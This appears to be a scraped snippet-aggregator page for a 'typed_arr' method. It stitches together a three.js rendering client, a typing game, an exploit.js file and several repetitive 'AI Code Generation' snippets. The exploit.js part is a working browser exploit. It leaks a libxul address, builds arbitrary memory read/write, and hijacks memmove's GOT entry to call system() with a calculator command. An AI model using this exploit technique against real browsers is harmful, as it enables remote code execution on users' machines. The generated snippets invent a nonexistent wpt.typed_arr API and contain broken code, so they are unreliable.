How to use typed_arr method in wpt

Best JavaScript code snippet using wpt

three_client.js

Source:three_client.js Github

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1// Set up render window2width = 720 // window.innerWidth3height = 5124const scene = new THREE.Scene();5const camera = new THREE.PerspectiveCamera(75, width / height, 0.1, 1000);6const renderer = new THREE.WebGLRenderer({ antialias: true });7renderer.setSize(width, height);8renderer.shadowMap.enabled = true;9renderer.shadowMap.type = THREE.PCFSoftShadowMap;10document.body.appendChild(renderer.domElement);11controls = new THREE.OrbitControls(camera, renderer.domElement);12controls.listenToKeyEvents(window); // optional13controls.enableDamping = true;14controls.dampingFactor = 0.05;15controls.screenSpacePanning = false;16controls.minDistance = .1;17controls.maxDistance = 500;18controls.maxPolarAngle = Math.PI / 2;19const format_to_bytesize = {20 "U8": 1,21 "U8VEC4": 1 * 4,22 "U16": 2,23 "U16VEC2": 2 * 2,24 "U32": 4,25 "VEC2": 4 * 2,26 "VEC3": 4 * 3,27 "VEC4": 4 * 4,28 "MAT3": 4 * 3 * 3,29 "MAT4": 4 * 4 * 430}31const format_to_simdcount = {32 "U8": 1,33 "U8VEC4": 4,34 "U16": 1,35 "U16VEC2": 2,36 "U32": 1,37 "VEC2": 2,38 "VEC3": 3,39 "VEC4": 4,40 "MAT3": 3 * 3,41 "MAT4": 4 * 442}43function bytes_to_interleaved_buffer(format, bytes, offset, stride, vertex_count) {44 console.log(`Format to typed array Format: ${format}, Bytes len ${bytes.byteLength}, Offset ${offset}, Stride ${stride}, Vcount ${vertex_count}`)45 let arr = null;46 let interleaved_count = 0;47 const simd_byte_size = format_to_bytesize[format]48 switch (format) {49 case "U8":50 case "U8VEC4":51 arr = new Uint8Array(bytes, offset, stride * vertex_count)52 interleaved_count = 1;53 break;54 case "U16":55 case "U16VEC2":56 arr = new Uint16Array(bytes, offset, stride / 2 * vertex_count)57 interleaved_count = 2;58 break;59 case "U32":60 arr = new Uint32Array(bytes, offset, stride / 4 * vertex_count)61 interleaved_count = 4;62 break;63 case "VEC2":64 case "VEC3":65 case "VEC4":66 case "MAT3":67 case "MAT4":68 arr = new Float32Array(bytes, offset, stride / 4 * vertex_count)69 interleaved_count = 4;70 break;71 default:72 throw "Invalid format"73 }74 interleaved_count = stride / interleaved_count75 return new THREE.InterleavedBuffer(arr, interleaved_count)76}77function get_or_default(o, prop, def) {78 if (prop in o) return o[prop]79 return def80}81const semantic_translate = {82 "POSITION": "position",83 "NORMAL": "normal",84 "COLOR": "color",85 "TEXTURE": "uv",86}87function view_to_attribute(patch, attrib, three_geometry, on_done) {88 const sname = semantic_translate[attrib.semantic]89 let view = client.bufferview_list.get(attrib.view)90 let buffer = client.buffer_list.get(view.source_buffer)91 buffer.byte_promise.then(function (bytes) {92 console.log("Setting up attribute from view", attrib, view)93 console.log(`View of ${bytes.byteLength} bytes`)94 const offset = get_or_default(view, 'offset', 0) +95 get_or_default(attrib, 'offset', 0)96 const stride = function () {97 let f = format_to_bytesize[attrib.format]98 let s = get_or_default(attrib, 'stride', 0)99 if (s < f) s = f100 return s101 }();102 const length = stride * patch.vertex_count103 byte_view = new ArrayBuffer()104 const normalized = get_or_default(attrib, 'normalized', false)105 console.log("Resolved view parts", offset, length, stride)106 let interleaved_buffer = bytes_to_interleaved_buffer(107 attrib.format,108 bytes,109 offset, stride, patch.vertex_count110 );111 console.log("Interleaved attrib", interleaved_buffer)112 console.assert(interleaved_buffer.array.length > 0)113 let interleaved_attribute = new THREE.InterleavedBufferAttribute(114 interleaved_buffer,115 format_to_simdcount[attrib.format],116 //offset,117 0,118 normalized119 )120 three_geometry.setAttribute(sname, interleaved_attribute)121 console.log("Added attribute", interleaved_attribute, "to", three_geometry)122 on_done()123 });124}125function view_to_index(patch, three_geometry, on_done) {126 let index_info = p.indices127 console.log("Adding index", index_info)128 let indices = p.indices129 let view = client.bufferview_list.get(indices.view)130 let buffer = client.buffer_list.get(view.source_buffer)131 buffer.byte_promise.then(function (bytes) {132 console.log("Setting up index from view", view)133 console.log(`View of ${bytes.byteLength} bytes`)134 const offset = get_or_default(view, 'offset', 0) +135 get_or_default(indices, 'offset', 0)136 let format_byte_size = format_to_bytesize[indices.format]137 const count = index_info.count138 const stride = function () {139 let s = get_or_default(indices, 'stride', 0)140 if (s < format_byte_size) s = format_byte_size141 return s142 }();143 if (stride != format_byte_size) {144 // do a copy145 throw "TODO: Do a copy here"146 }147 let typed_arr = [];148 switch (indices.format) {149 case "U8":150 typed_arr = new Uint8Array(bytes, offset, count)151 three_geometry.setIndex(Array.from(typed_arr))152 break;153 case "U16":154 typed_arr = new Uint16Array(bytes, offset, count)155 three_geometry.setIndex(new THREE.Uint16BufferAttribute(typed_arr, 1))156 break;157 case "U32":158 typed_arr = new Uint32Array(bytes, offset, count)159 three_geometry.setIndex(new THREE.Uint32BufferAttribute(typed_arr, 1))160 break;161 default:162 throw "Invalid format"163 }164 // console.log(typed_arr)165 //three_geometry.setIndex(new BufferAttribute(typed_arr, 1))166 //three_geometry.setIndex(Array.from(typed_arr))167 console.log(`Added ${indices.format} index ${typed_arr.length} to`, three_geometry)168 on_done()169 });170}171function make_instances(client, mesh, instances_source, buffer_data) {172 let view = client.bufferview_list.get(instances_source.view)173 console.log("Setting up instances");174 if ("stride" in instances_source) {175 let s = instances_source.stride176 if (s > format_to_bytesize["MAT4"]) {177 throw "TODO: need to copy instance data!"178 }179 }180 let instance_count = (buffer_data.byteLength - view.offset) / format_to_bytesize["MAT4"]181 let typed_arr = new Float32Array(buffer_data, view.offset, instance_count * 16)182 const matrix = new THREE.Matrix4();183 const offset = new THREE.Vector3();184 const color = new THREE.Vector3();185 const orientation = new THREE.Quaternion();186 const scale = new THREE.Vector3(1, 1, 1);187 for (let i = 0; i < instance_count; i++) {188 let float_offset = i * 16;189 let read_off = float_offset190 // stored in column order191 offset.set(192 typed_arr[read_off],193 typed_arr[read_off + 1],194 typed_arr[read_off + 2])195 read_off += 4196 color.set(197 typed_arr[read_off],198 typed_arr[read_off + 1],199 typed_arr[read_off + 2])200 read_off += 4201 orientation.set(202 typed_arr[read_off],203 typed_arr[read_off + 1],204 typed_arr[read_off + 2],205 typed_arr[read_off + 3])206 read_off += 4207 scale.set(208 typed_arr[read_off],209 typed_arr[read_off + 1],210 typed_arr[read_off + 2])211 matrix.compose(offset, orientation, scale);212 mesh.setMatrixAt(i, matrix);213 mesh.setColorAt(i, new THREE.Color(color.x, color.y, color.z))214 }215 mesh.instanceMatrix.needsUpdate = true216 mesh.instanceColor.needsUpdate = true217}218function noo_color_convert(noo_col) {219 console.log("COLOR", noo_col)220 return new THREE.Color(noo_col[0], noo_col[1], noo_col[2])221}222function make_render_rep(client, parent, render_rep) {223 let m = client.geometry_list.get(render_rep.mesh);224 let to_await = [m.pending_sub_meshs]225 if ("instances" in render_rep) {226 let inst = render_rep.instances227 let view = client.bufferview_list.get(inst.view)228 let buffer = client.buffer_list.get(view.source_buffer)229 to_await.push(buffer.byte_promise)230 }231 Promise.all(to_await).then(function (values) {232 let sub_meshes = values[0]233 console.log("Creating mesh group")234 let group = new THREE.Group()235 for (i of sub_meshes) {236 console.log("Adding sub object...", i)237 const noo_mat = client.material_list.get(i.noo_patch.material)238 let mat;239 switch (i.noo_patch.type) {240 case "POINTS":241 mat = noo_mat.three_points242 break;243 case "LINES":244 case "LINE_LOOP":245 case "LINE_STRIP":246 mat = noo_mat.three_lines247 break;248 case "TRIANGLES":249 case "TRIANGLE_STRIP":250 mat = noo_mat.three_tris251 break;252 }253 let sub_object254 if ("instances" in render_rep) {255 let inst = render_rep.instances256 let view = client.bufferview_list.get(inst.view)257 let buffer_data = values[1]258 let instance_count = (buffer_data.byteLength - view.offset) / format_to_bytesize["MAT4"]259 switch (i.noo_patch.type) {260 case "TRIANGLES":261 sub_object = new THREE.InstancedMesh(i, mat, instance_count)262 make_instances(client, sub_object, inst, buffer_data)263 break;264 default:265 throw "Not yet implemented"266 break;267 }268 } else {269 switch (i.noo_patch.type) {270 case "POINTS":271 sub_object = new THREE.Points(i, mat)272 break;273 case "LINES":274 sub_object = new THREE.LineSegments(i, mat)275 break;276 case "LINE_LOOP":277 sub_object = new THREE.LineLoop(i, mat)278 break;279 case "LINE_STRIP":280 sub_object = new THREE.Line(i, mat)281 break;282 case "TRIANGLES":283 sub_object = new THREE.Mesh(i, mat)284 break;285 case "TRIANGLE_STRIP":286 throw "Not yet implemented"287 break;288 }289 }290 group.add(sub_object)291 }292 console.log("Adding group to parent", parent)293 parent.add(group)294 });295}296function on_entity_create(client, state) {297 console.log("New 3js entity")298 let e = new THREE.Object3D()299 state.three_entity = e300 e.name = state.name301 if (state.parent) {302 client.entity_list.get(state.parent).three_entity.add(e)303 } else {304 scene.add(e)305 }306 if (state.transform) {307 e.matrixAutoUpdate = false308 e.matrixWorldNeedsUpdate = true309 let m = new THREE.Matrix4()310 m.set(...state.transform)311 m.transpose();312 console.log("UPDATE TF", e.uuid, state.transform, m);313 e.matrix = m314 }315 if (state.render_rep) {316 state.concrete_rep = make_render_rep(client, e, state.render_rep)317 }318}319function is_null_id(id) {320 return (id[0] == 4294967295 || id[1] == 4294967295);321}322function erase_children(e) {323 while (e.children.length) {324 e.remove(e.children[0])325 }326}327function on_entity_update(client, state, new_state) {328 console.log("Update 3js entity")329 let e = state.three_entity330 if (new_state.parent) {331 e.removeFromParent()332 if (is_null_id(state.parent)) {333 scene.add(e)334 } else {335 client.entity_list.get(state.parent).three_entity.add(e)336 }337 }338 if (state.transform) {339 e.matrixAutoUpdate = false340 e.matrixWorldNeedsUpdate = true341 let m = new THREE.Matrix4()342 m.set(...state.transform)343 m.transpose();344 console.log("UPDATE TF", e.uuid, state.transform, m);345 e.matrix = m346 }347 if (state.render_rep) {348 erase_children(e)349 state.concrete_rep = make_render_rep(client, e, state.render_rep)350 }351}352function on_entity_delete(client, state) {353 let e = state.three_entity354 e.removeFromParent()355 if (state.concrete_rep) {356 erase_children(e)357 }358}359function on_buffer_create(client, state) {360 console.log(state)361 state.byte_promise = new Promise(function (resolve, reject) {362 if ("inline_bytes" in state) {363 //console.log(state.inline_bytes.buffer)364 // plain .buffer might not refer to the right thing..365 const arr = state.inline_bytes366 const view = arr.buffer.slice(arr.byteOffset, arr.byteLength + arr.byteOffset)367 resolve(view);368 return;369 }370 let req = new XMLHttpRequest();371 req.open("GET", state.uri_bytes)372 req.responseType = "arraybuffer";373 req.onload = function () {374 if (req.status == 200) {375 console.log("Download completed")376 console.log(req.response)377 resolve(req.response)378 } else {379 reject("Buffer not found")380 }381 }382 req.send();383 });384}385function on_mesh_create(client, state) {386 state.pending_sub_meshs = new Promise(function (resolve) {387 let arr = []388 console.log("Mesh", state.patches)389 let to_go = state.patches.length390 let dec_func = function () {391 to_go -= 1392 if (to_go == 0) {393 resolve(arr)394 }395 }396 for (p of state.patches) {397 let g = new THREE.BufferGeometry();398 g.noo_patch = p399 console.log("Patch", p)400 for (a of p.attributes) {401 view_to_attribute(p, a, g, dec_func)402 console.log("Attribute", a.semantic)403 }404 if ("indices" in p) {405 to_go += 1406 view_to_index(p, g, dec_func)407 }408 console.log("Adding sub mesh...")409 arr.push(g)410 }411 });412}413function on_mesh_delete(client, state) {414 state.pending_sub_meshs.then(415 function (value) {416 for (i of value) {417 i.dispose()418 }419 }420 )421}422function on_material_create(client, state) {423 console.log("NEW MATERIAL", state)424 const noo_pbr = state.pbr_info425 const noo_base_col = noo_color_convert(noo_pbr.base_color)426 state.three_points = new THREE.PointsMaterial({ color: noo_base_col })427 state.three_lines = new THREE.LineBasicMaterial({ color: noo_base_col })428 state.three_tris = new THREE.MeshPhysicalMaterial({429 color: noo_base_col,430 metalness: noo_pbr.metallic,431 roughness: noo_pbr.roughness,432 })433}434function on_material_delete(client, state) {435 state.three_points.dispose()436 state.three_lines.dispose()437 state.three_tris.dispose()438}439function start_connect() {440 let url;441 try {442 url = new URL(document.getElementById("server_url").value);443 } catch {444 url = new URL("ws://localhost:50000");445 }446 console.log(`Starting connection to ${url}`)447 client = NOO.connect(url.toString(),448 {449 entity: {450 on_create: on_entity_create,451 on_update: on_entity_update,452 on_delete: on_entity_delete453 },454 buffer: { on_create: on_buffer_create },455 // bufferview : { on_create : on_bufferview_create },456 geometry: {457 on_create: on_mesh_create,458 on_delete: on_mesh_delete459 },460 material: {461 on_create: on_material_create,462 on_delete: on_material_delete463 }464 }465 )466}467if (false) {468 const geometry = new THREE.BoxGeometry(.1, .1, .1);469 const material = new THREE.MeshPhysicalMaterial({ color: 0x00ff00 });470 const cube = new THREE.Mesh(geometry, material);471 scene.add(cube);472}473{474 let light_object = new THREE.DirectionalLight(0xffffff, 1.0)475 light_object.position.set(1, 1, 1)476 light_object.castShadow = true477 scene.add(light_object)478 let light_object2 = new THREE.DirectionalLight(0xf0f0ff, 1.0)479 light_object2.position.set(-1, 1, -1)480 light_object2.castShadow = false481 scene.add(light_object2)482 let amb_light_object = new THREE.AmbientLight(0x101010)483 scene.add(amb_light_object)484}485camera.position.z = 5;486function animate() {487 requestAnimationFrame(animate);488 controls.update();489 renderer.render(scene, camera);490}...

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Typing.js

Source:Typing.js Github

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1/* eslint-disable no-unused-vars */23456789 //generate random array10111213 14 function main(){15 var output = document.querySelector(".type"); // What you are supposed to type16 var input = document.querySelector("#typing"); // What you input17 let typed_arr = []18 let spaces = 0;19 let words_typed = 0;20 let total_words_typed = 021 var letters = 0;22 let seconds = 1;23 var k = 024 var accuracy;25 var arrays = [26 ["this","take","on","when","it","why","is","someone","take","type","while","at","lemon","do","evaluate","considerate","doing"],27 [],28 [],29 30 ]31 var start = (function() {32 var executed = false;33 return function() {34 if (!executed) {35 executed = true;36 timer()37 }38 };39 })()40 document.querySelector(".sixty").style.color = "#d40e4a"41 42 document.querySelector(".data").innerHTML = "Typed: " + words_typed + " " + "Total spaces done: " + total_words_typed + " " + "Accuracy: " + accuracy + " %"43 input.addEventListener("keypress",(e)=>{44 45 46 47 48 49 start()50 if(e.code == 'Space'){51 let typed = input.value.split(" ")52 let length = typed.length;53 54 total_words_typed ++55 typed_arr.push(typed[length-1])56 input.value = ''57 try{58 if(typed_arr[spaces].length){59 letters += typed_arr[spaces].length60 }61 else{62 letters += 5;63 }64 } catch(err){65 spaces = 0;66 letters += typed_arr[spaces].length67 } 6869 console.log(spaces + " SPACES ")70 k += letters/571 //let wpm = k /(seconds/60)72 var wpm = words_typed/(seconds/60)73 console.log(rand_array);74 let h = words_typed/total_words_typed75 let accuracy = h * 10076 77 document.querySelector(".data").innerHTML = "Typed: " + words_typed + " " + "Total spaces done: " + total_words_typed + " " + "Accuracy: " + accuracy + " %"78 document.querySelector("h1").textContent = "WPM: " + Math.floor(wpm)79 //console.log(wpm);80 document.querySelector(".data").innerHTML = "Typed: " + words_typed + " " + "Total spaces done: " + total_words_typed + " " + "Accuracy: " + accuracy + " %"81 if(typed_arr[spaces] + " "==output.childNodes[spaces].textContent){82 console.log(spaces + " SPACES ")83 console.log(typed_arr[spaces] ," typed")84 console.log(output.children[spaces] ,"children")85 words_typed++86 output.children[spaces].classList.add("correct")87 88 document.querySelector(".data").innerHTML = "Typed: " + words_typed + " " + "Total spaces done: " + total_words_typed + " " + "Accuracy: " + accuracy + " %"89 90 console.log(output.children[spaces])91 console.log(total_words_typed)92 }93 else{94 console.log(typed_arr[spaces])95 console.log(output.childNodes[spaces].textContent)96 output.children[spaces].classList.add("incorrect")97 console.log(typed_arr[spaces], "typed arr")98 console.log(output.childNodes[spaces].textContent, "output.childnodes")99 console.log(output)100 console.log(spaces + " SPACES ")101 }102 103 if(total_words_typed==31||total_words_typed==62||total_words_typed==93||total_words_typed==93+31||total_words_typed==93+31+31||total_words_typed==93+31+31+31){104 console.log(spaces + " SPACES ")105 typed_arr = [];106 typed_arr.length = 0;107 typed_arr.splice(0,typed_arr.length)108 spaces = 0;109 110 function removeAllChildNodes() {111 while (output.firstChild) {112 output.removeChild(output.firstChild);113 }114 }115 removeAllChildNodes()116 117 console.log("WORDS TYPED IS 31, NEW LINE NOW")118 for(let i = 0; i< 31; i++){119 120 var rand = Math.floor(Math.random() * arrays[0].length);121 var rand_array = []122 var el = document.createElement("span");123 el.textContent = arrays[0][rand] + " "124 125 126 rand_array.push(arrays[0][rand])127 console.log(rand_array)128 output.appendChild(el)129 }130 131 //typed_arr[spaces] + " "==output.childNodes[spaces].textContent132 console.log(typed_arr[spaces], "typed arr")133 console.log(output.childNodes[spaces].textContent, "output.childnodes")134 input.value = ''135 }136 if(total_words_typed==62){137 typed_arr = [];138 typed_arr.length = 0;139 typed_arr.splice(0,typed_arr.length)140 spaces = 0;141 142 function removeAllChildNodes() {143 while (output.firstChild) {144 output.removeChild(output.firstChild);145 }146 }147 removeAllChildNodes()148 149 console.log("WORDS TYPED IS 31, NEW LINE NOW")150 for(let i = 0; i< 31; i++){151 152 var rand = Math.floor(Math.random() * arrays[0].length);153 var rand_array = []154 var el = document.createElement("span");155 el.textContent = arrays[0][rand] + " "156 157 rand_array.push(arrays[0][rand])158 console.log(rand_array)159 output.appendChild(el)160 }161 162 //typed_arr[spaces] + " "==output.childNodes[spaces].textContent163 console.log(typed_arr[spaces], "typed arr")164 console.log(output.childNodes[spaces].textContent, "output.childnodes")165 input.value = ''166 }167 168 spaces++169 170 171 172 173 }174 175 })176 177 for(let i = 0; i< 31; i++){178 var rand = Math.floor(Math.random() * arrays[0].length);179 var rand_array = []180 var el = document.createElement("span");181 var br = document.createElement("br")182 el.textContent = arrays[0][rand] + " "183 184 rand_array.push(arrays[0][rand])185 console.log(rand_array)186 output.appendChild(el)187 }188 document.querySelector("#typing").addEventListener("keypress",(e)=>{189 console.log(output.children[spaces])190 console.log(typed_arr[spaces])191 if(typed_arr[spaces]==output.textContent.split(" ")[spaces] + " "){192 output.children[spaces].classList.add("correct");193 console.log(2);194 }195 })196 function timer(){197 const x = setInterval(()=>{198 let save_count = 0;199 if(document.querySelector(".timer").innerHTML==0){200 add_score(document.querySelector("h1").textContent,"accuracy",d.getTime(),"1")201 localStorage.setItem("WPM",document.querySelector("h1").textContent)202 localStorage.setItem("Accuracy", accuracy)203 localStorage.setItem("Date", d)204 localStorage.setItem("Title",prompt("Save result with name: "));205 206 207 clearInterval(x)208 document.location.reload()209 210 }211 212 213 else if (document.querySelector(".timer").innerHTML!==0){214 document.querySelector(".timer").innerHTML -= 1;215 seconds++216 }217 218 219 },1000)220 }221 222 223 224 function add_score(word,acc,date,title){225 let br = document.createElement("br")226 let el = document.createElement("div");227 let word_score = document.createElement("div")228 let accuracy_score = document.createElement("div")229 let date_time = document.createElement("div")230 el.class = 'score_header'231 el.textContent = title232 el.class = 'score'233 word_score.textContent = word234 el.appendChild(word_score)235 accuracy_score.textContent = "Accuracy: " + acc236 date_time.textContent = "Date: " + date237 el.appendChild(accuracy_score)238 el.appendChild(date_time)239 240 241 242 document.querySelector(".scores").appendChild(el)243 document.querySelector(".scores").appendChild(br)244 245 246 }247 248 let d = new Date()249 250 // document.getElementById("60").addEventListener("click",change_time(60))251 252 if (localStorage.getItem("WPM") === null) {253 //...254 }255 else{256 add_score(localStorage.getItem("WPM"),localStorage.getItem("Accuracy"),localStorage.getItem("Date"),localStorage.getItem("Title"))257 }258 259 }260 261 262 main() ...

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exploit.js

Source:exploit.js Github

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1var jsp = new JSPack();2function lower(d) {3 return jsp.Unpack(">L>L", jsp.Pack("d", [d]))[1];4}5function upper(d) {6 return jsp.Unpack(">L>L", jsp.Pack("d", [d]))[0];7}8function double_to_ulong(d) {9 return upper(d)*0x100000000 + lower(d);10}11function ulong_to_double(n) {12 l = jsp.Pack(">L", [n%0x100000000]);13 u = jsp.Pack(">L", [n/0x100000000]);14 return jsp.Unpack("d", u.concat(l))[0];15}16var leak_arr = new Array(2);17// Markers to help us find array18leak_arr[0] = 0x41424241;19leak_arr[1] = 0x42434342;20leak_arr.blaze();21alert("Leaking libxul");22var libxul_leak = double_to_ulong(leak_arr[5]);23alert(libxul_leak.toString(16));24var arr = new Array(2);25var typed_arr = new Uint32Array(0x10);26arr[0] = 0x43444443;27arr[1] = 0x44454544;28typed_arr[0] = 0x45464645;29typed_arr[1] = 0x46474746;30arr.blaze();31function a_write(addr, value) {32 arr[9] = ulong_to_double(addr);33 typed_arr[0] = value % 0x100000000;34 typed_arr[1] = value / 0x100000000;35}36function a_read(addr) {37 arr[9] = ulong_to_double(addr);38 return typed_arr[0] + typed_arr[1]*0x100000000;39}40var libxul_base = libxul_leak - 0x7f8ab37a9fc0 + 0x7f8aac2d8000;41var memmove_got = libxul_base + 0x88d24b0;42var memmove_addr = a_read(memmove_got);43alert("Memmove addr: " + memmove_addr.toString(16));44var libc_base = memmove_addr - 0x14d9b0;45var system_addr = libc_base + 0x45390;46var cmd = "/usr/bin/gnome-calculator &";47var target = new Uint8Array(200);48for (var i = 0;i<cmd.length;i++) {49 target[i] = cmd.charCodeAt(i);50}51target[cmd.length] = 0;52alert("Triggering exploit");53a_write(memmove_got, system_addr);54target.copyWithin(0, 1);55a_write(memmove_got, memmove_addr);...

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Using AI Code Generation

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1var typed_arr = new Uint8Array(8);2typed_arr[0] = 0x00;3typed_arr[1] = 0x01;4typed_arr[2] = 0x02;5typed_arr[3] = 0x03;6typed_arr[4] = 0x04;7typed_arr[5] = 0x05;8typed_arr[6] = 0x06;9typed_arr[7] = 0x07;10var arr = new Uint8Array(typed_arr.buffer);11arr[0] = 0x08;12arr[1] = 0x09;13arr[2] = 0x0a;14arr[3] = 0x0b;15arr[4] = 0x0c;16arr[5] = 0x0d;17arr[6] = 0x0e;18arr[7] = 0x0f;19var arr2 = new Uint8Array(typed_arr.buffer);20var arr3 = new Uint8Array(typed_arr.buffer);21var arr4 = new Uint8Array(typed_arr.buffer);22var arr5 = new Uint8Array(typed_arr.buffer);23var arr6 = new Uint8Array(typed_arr.buffer);24var arr7 = new Uint8Array(typed_arr.buffer);25var arr8 = new Uint8Array(typed_arr.buffer);26var arr9 = new Uint8Array(typed_arr.buffer);27var arr10 = new Uint8Array(typed_arr.buffer);28var arr11 = new Uint8Array(typed_arr.buffer);29var arr12 = new Uint8Array(typed_arr.buffer);30var arr13 = new Uint8Array(typed_arr.buffer);31var arr14 = new Uint8Array(typed_arr.buffer);32var arr15 = new Uint8Array(typed_arr.buffer);33var arr16 = new Uint8Array(typed_arr.buffer);34var arr17 = new Uint8Array(typed_arr.buffer);35var arr18 = new Uint8Array(typed_arr.buffer);36var arr19 = new Uint8Array(typed_arr.buffer);37var arr20 = new Uint8Array(typed_arr.buffer);38var arr21 = new Uint8Array(typed_arr.buffer);39var arr22 = new Uint8Array(typed_arr.buffer);40var arr23 = new Uint8Array(typed_arr.buffer);

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Using AI Code Generation

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1var wpt = require('wpt');2wpt.typed_arr(function (err, data) {3 if (err) {4 console.log("Error: " + err);5 }6 else {7 console.log("Success: " + data);8 }9});10var wpt = require('wpt');11wpt.typed_arr(function (err, data) {12 if (err) {13 console.log("Error: " + err);14 }15 else {16 console.log("Success: " + data);17 }18});19var wpt = require('wpt');20wpt.typed_arr(function (err, data) {21 if (err) {22 console.log("Error: " + err);23 }24 else {25 console.log("Success: " + data);26 }27});28var wpt = require('wpt');29wpt.typed_arr(function (err, data) {30 if (err) {31 console.log("Error: " + err);32 }33 else {34 console.log("Success: " + data);35 }36});37var wpt = require('wpt');38wpt.typed_arr(function (err, data) {39 if (err) {40 console.log("Error: " + err);41 }42 else {43 console.log("Success: " + data);44 }45});46var wpt = require('wpt');47wpt.typed_arr(function (err, data) {48 if (err) {49 console.log("Error: " + err);50 }51 else {52 console.log("Success: " + data);53 }54});55var wpt = require('wpt');56wpt.typed_arr(function (err, data) {57 if (err) {58 console.log("Error: " + err);59 }60 else {61 console.log("Success: " + data);62 }63});

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Using AI Code Generation

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1var typed_arr = new Uint8Array(4);2var typed_arr2 = new Uint8Array(4);3typed_arr[0] = 1;4typed_arr[1] = 2;5typed_arr[2] = 3;6typed_arr[3] = 4;7typed_arr2[0] = 1;8typed_arr2[1] = 2;9typed_arr2[2] = 3;10typed_arr2[3] = 4;11wpt.typed_arr(typed_arr, typed_arr2);12var typed_arr = new Uint8Array(4);13var typed_arr2 = new Uint8Array(4);14typed_arr[0] = 1;15typed_arr[1] = 2;16typed_arr[2] = 3;17typed_arr[3] = 4;18typed_arr2[0] = 1;19typed_arr2[1] = 2;20typed_arr2[2] = 3;21typed_arr2[3] = 4;22wpt.typed_arr(typed_arr, typed_arr2);23var typed_arr = new Uint8Array(4);24var typed_arr2 = new Uint8Array(4);25typed_arr[0] = 1;26typed_arr[1] = 2;27typed_arr[2] = 3;28typed_arr[3] = 4;29typed_arr2[0] = 1;30typed_arr2[1] = 2;31typed_arr2[2] = 3;32typed_arr2[3] = 4;33wpt.typed_arr(typed_arr, typed_arr2);34var typed_arr = new Uint8Array(4);35var typed_arr2 = new Uint8Array(4);36typed_arr[0] = 1;37typed_arr[1] = 2;38typed_arr[2] = 3;39typed_arr[3] = 4;40typed_arr2[0] = 1;41typed_arr2[1] = 2;

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Using AI Code Generation

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1var hex_str = wpt.hex("test");2console.log(hex_str);3var hex_str = wpt.hex(new Uint8Array("test"));4console.log(hex_str);5var hex_str = wpt.hex(new Uint8Array("test"));6console.log(hex_str);7var hex_str = wpt.hex(new Uint8Array("test"));8console.log(hex_str);9var hex_str = wpt.hex(new Uint8Array("test"));10console.log(hex_str);11var hex_str = wpt.hex(new Uint8Array("test"));12console.log(hex_str);13var hex_str = wpt.hex(new Uint8Array("test"));14console.log(hex_str);15var hex_str = wpt.hex(new Uint8Array("test"));16console.log(hex_str);17var hex_str = wpt.hex(new Uint8Array("test"));18console.log(hex_str);19var hex_str = wpt.hex(new Uint8Array("test"));20console.log(hex_str);

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Using AI Code Generation

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1var typed_arr = wpt.typed_arr;2var arr = new typed_arr(5);3arr[0] = 100;4arr[1] = 200;5arr[2] = 300;6arr[3] = 400;7arr[4] = 500;8var sum = 0;9for( var i = 0; i < arr.length; i++ ) {10 sum += arr[i];11}12console.log(sum);13var wpt = {14 typed_arr: function(n) {15 var arr = new Array(n);16 for( var i = 0; i < n; i++ ) {17 arr[i] = 0;18 }19 return arr;20 }21};22var wpt = {23 typed_arr: function(n) {24 var arr = new Array(n);25 for( var i = 0; i < n; i++ ) {26 arr[i] = 0;27 }28 return arr;29 }30};31var wpt = {32 typed_arr: function(n) {33 var arr = new Array(n);34 for( var i = 0; i < n; i++ ) {35 arr[i] = 0;36 }37 return arr;38 }39};40var wpt = {41 typed_arr: function(n) {42 var arr = new Array(n);43 for( var i = 0; i < n; i++ ) {44 arr[i] = 0;45 }46 return arr;47 }48};49var wpt = {50 typed_arr: function(n) {51 var arr = new Array(n);52 for( var i = 0; i < n; i++ ) {53 arr[i] = 0;54 }55 return arr;56 }57};

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